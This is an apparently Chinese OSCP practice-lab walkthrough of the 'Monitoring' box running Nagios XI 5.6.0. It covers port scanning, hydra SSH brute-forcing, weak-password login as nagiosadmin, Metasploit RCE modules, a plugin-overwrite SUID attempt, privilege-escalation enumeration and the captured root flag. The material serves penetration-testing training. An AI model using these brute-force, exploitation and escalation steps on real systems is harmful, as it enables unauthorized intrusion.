OSCP系列靶场-Esay-Monitoring保姆级

OSCP系列渗透-Esay-Monitoring

目录

  • OSCP系列渗透-Esay-Monitoring
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 22-SSH端口的信息收集
        • 22-SSH端口版本信息与MSF利用
        • 22-SSH协议支持的登录方式
        • 22-SSH手动登录尝试(无)
        • 22-SSH弱口令爆破(静静等待)
      • 25-SMTP端口(待定)
      • 80-HTTP端口的信息收集
        • 信息收集-网站指纹
        • 漏洞利用-网站指纹
        • 信息收集-HTML隐藏信息查看(无)
        • 信息收集-目录扫描
          • 信息收集-目录扫描初步
    • 漏洞利用-getwebshell
      • 登录端点的最佳实践
      • 指纹漏洞利用实践
        • MSF利用一(失败)
        • MSF利用二(失败)
        • MSF利用三
    • 内网遨游-getshell
      • 交互shell
      • FLAG1获取(无)
      • 信息收集-内网基础信息收集
        • 检测Linux操作系统的发行版本
        • 检测Linux操作系统的内核版本
        • 列举出所有的sudo文件
        • 列举出所有suid文件
        • /etc/passwd权限收集
        • /etc/shadow权限收集
        • getcap标志进程收集
        • 列举定时任务
        • 查看历史信息
        • 确认/home目录下信息
          • 确认当前用户home目录下是否有隐藏文件
      • 收集中的思考
      • 权限提升
      • suid之check_plugin权限提升
      • FLAG2获取
    • 思考
    • 后记

总结

getwebshell : 登录处的最佳实践(弱口令)进入后台 → msf历史漏洞利用

提 权 思 路 : 发现suidcheck文件 → msfcheck插件漏洞利用

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.191

OSCP系列靶场-Esay-Monitoring保姆级_第1张图片

  • 启动靶机
    获取目标机器IP → 192.168.179.136

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.179.136

PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
5667/tcp open  unknown

OSCP系列靶场-Esay-Monitoring保姆级_第2张图片
开放的端口-→22,25,80,389,443,5667

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,25,80,389,443,5667 192.168.179.136

PORT     STATE SERVICE    VERSION                            
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)    
25/tcp   open  smtp       Postfix smtpd             
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
5667/tcp open  tcpwrapped

这样看的话开放的端口是挺多的

OSCP系列靶场-Esay-Monitoring保姆级_第3张图片

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu 4ubuntu2.10

# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.2p2

发现搜索到可利用的和用户枚举有关(待定)

OSCP系列靶场-Esay-Monitoring保姆级_第4张图片

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.179.136 -v

显示publickeypassword就是支持密钥以及密码登录

OSCP系列靶场-Esay-Monitoring保姆级_第5张图片

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# sudo ssh root @192.168.179.136 -p 22
root @192.168.179.136's password: root
Permission denied, please try again.


弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

OSCP系列靶场-Esay-Monitoring保姆级_第6张图片

25-SMTP端口(待定)

25/tcp open smtp Postfix smtpd
该端口接触较少,先待定,和邮件有关

80-HTTP端口的信息收集

访问 http://192.168.179.136:80 看上去是一个标准的CMS

OSCP系列靶场-Esay-Monitoring保姆级_第7张图片
戳了一下Access Nagios XI跳转到了登录窗口

OSCP系列靶场-Esay-Monitoring保姆级_第8张图片

信息收集-网站指纹

┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# whatweb http://192.168.179.136:80
http://192.168.179.136:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.179.136], JQuery[3.3.1], Script[text/javascript], Title[Nagios XI]

CMSNagios XI

漏洞利用-网站指纹

searchsploit Nagios XI

OSCP系列靶场-Esay-Monitoring保姆级_第9张图片
总体来说利用是需要版本的,前面一些不需要版本,尝试直接使用

OSCP系列靶场-Esay-Monitoring保姆级_第10张图片

msf6 → search Nagios XI

OSCP系列靶场-Esay-Monitoring保姆级_第11张图片

use 3

选择了较新且rank好的,查看了一下发现是需要密码的

OSCP系列靶场-Esay-Monitoring保姆级_第12张图片

信息收集-HTML隐藏信息查看(无)

# 包括文章中是否写明一些敏感信息
curl http://192.168.179.136:80

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.179.136:80 -x 302,403

漏洞利用-getwebshell

在目录扫描的同时其实在思考这应该是一个标准的CMS,是否会存在通用脆弱口令的情况(MSF的利用需要密码)。

登录端点的最佳实践

  • 尝试寻找网上是否存在该cms的登录凭证

OSCP系列靶场-Esay-Monitoring保姆级_第13张图片
得到账户以及密码 nagiosadmin:nagios
登录之后发现不正确
OSCP系列靶场-Esay-Monitoring保姆级_第14张图片

  • 利用默认登录凭证测试弱口令漏洞
    测试nagiosadmin的弱口令密码,主要测试
  1. 数字序列:例如123456、123456789、111111等简单的数字序列。
  2. 字母序列:例如abcdefg、qwerty、password等简单的字母序列。
  3. 字典词汇:例如admin、password、12345678等常见的字典单词。
  4. 重复字符:例如11111、aaaaaa等重复的字符序列。
  5. 键盘连续字符:例如qwertyuiop、asdfghjkl等键盘上连续的字符。
123456     #  数字序列
123456789  #  数字序列
987654321  #  数字序列
admin      #  字典词汇
password   #  字典词汇
root       #  字典词汇
111111     #  重复字符
aaaaaa     #  重复字符
abcdefg    #  键盘连续字符
qwertyuiop #  键盘连续字符

在测试的过程中,发现利用admin进入了后台
OSCP系列靶场-Esay-Monitoring保姆级_第15张图片

得到版本信息Nagios XI 5.6.0

OSCP系列靶场-Esay-Monitoring保姆级_第16张图片

指纹漏洞利用实践

MSF利用一(失败)

既然知道了密码admin尝试利用之前的msf
OSCP系列靶场-Esay-Monitoring保姆级_第17张图片
提示版本错误,那重新搜索吧

MSF利用二(失败)

msf6 → search Nagios XI 5.6.0

发现只有一个,尝试利用

OSCP系列靶场-Esay-Monitoring保姆级_第18张图片
设置完信息之后进行运行,连接成功但是没有创建会话

OSCP系列靶场-Esay-Monitoring保姆级_第19张图片
决定换个payloads进行尝试,发现能成功连接但是运行不成功,可能是该exp不行

MSF利用三

msf6 → search Nagios

发现了多个,根据内容进行筛选

OSCP系列靶场-Esay-Monitoring保姆级_第20张图片
总感觉大部分都能用,但是3和4用了都不太行,决定用退求其次
在这里10和11中选择了11进行尝试

OSCP系列靶场-Esay-Monitoring保姆级_第21张图片
成功getwebshell

OSCP系列靶场-Esay-Monitoring保姆级_第22张图片

内网遨游-getshell

交互shell

# 利用python获取交互shell
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取(无)

find / -name local.txt 2→/dev/null

OSCP系列靶场-Esay-Monitoring保姆级_第23张图片

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ lsb_release -a

No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.7 LTS
Release:        16.04
Codename:       xenial

发行版本为Ubuntu,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.4.0

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
sudo -l

OSCP系列靶场-Esay-Monitoring保姆级_第24张图片
使用的时候需要密码 唔

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

OSCP系列靶场-Esay-Monitoring保姆级_第25张图片

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1985 Sep  8  2020 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/shadow
ls -al /etc/shadow
-rw-r----- 1 root shadow 1244 Mar 23  2021 /etc/shadow
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ 

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2→/dev/null
# 无

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

OSCP系列靶场-Esay-Monitoring保姆级_第26张图片

查看历史信息

可能用户留下的历史信息具有有用的信息

history

无信息

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home
total 12
drwxr-xr-x  2 coconut coconut 4096 Mar 23  2021 coconut
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码  ./*_history找历史记录等
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home/coconut
lrwxrwxrwx 1 root    root       9 Jan 28  2021 .bash_history -→ /dev/null
-rw-r--r-- 1 coconut coconut  220 Sep  8  2020 .bash_logout
-rw-r--r-- 1 coconut coconut 3771 Sep  8  2020 .bashrc
-rw-r--r-- 1 coconut coconut  655 Sep  8  2020 .profile

OSCP系列靶场-Esay-Monitoring保姆级_第27张图片
尝试弱密码无效,准备利用hyrda尝试

# -P 指定密码字典
hydra -l coconut -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22

OSCP系列靶场-Esay-Monitoring保姆级_第28张图片

在爆破的过程中研究一下suid文件

OSCP系列靶场-Esay-Monitoring保姆级_第29张图片
尝试写入恶意内容进行利用

echo'#!/bin/sh
chmod +s /usr/bin/find' → /usr/local/nagios/libexec/check_dhcp

写入之后发现再用find查阅不是suid

收集中的思考

收集了半天,却没发现什么有用的内容,真有意思
这时候就是努力学习的过程,参考了网上的wp,他们用了msf中的第10个
而我用了第11个

OSCP系列靶场-Esay-Monitoring保姆级_第30张图片
这时候灵光一闪,理解了为什么用10是直接root权限,这也是全网都没人写的
回到suid权限文件收集,可以发现了利用check是直接root的,那么rce也是直接root

OSCP系列靶场-Esay-Monitoring保姆级_第31张图片

权限提升

suid之check_plugin权限提升

search Nagios
use 10

OSCP系列靶场-Esay-Monitoring保姆级_第32张图片
经过了一系列的设置之后run
提权成功

OSCP系列靶场-Esay-Monitoring保姆级_第33张图片

FLAG2获取

cat /root/proof.txt
0559c8f500a23ba2628189a1b06b557f

完结撒花~

思考

在利用msf搜索的时候,有时候不能太精确的搜索版本

在内网中细节还是要注意,虽然我之前看到了suidcheck_icmp,没有利用成功,可以考虑从外部尝试

find suid都要试试看先比较好

后记

发现

# 才知道是可以这样执行的
sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *  
# 不过查看了一下权限,只能读
ls -al /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php   
-r-xr-x--- 1 root nagios 177241 Sep  8  2020 /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php    

你可能感兴趣的:(OSCP,web安全,网络,网络安全,安全)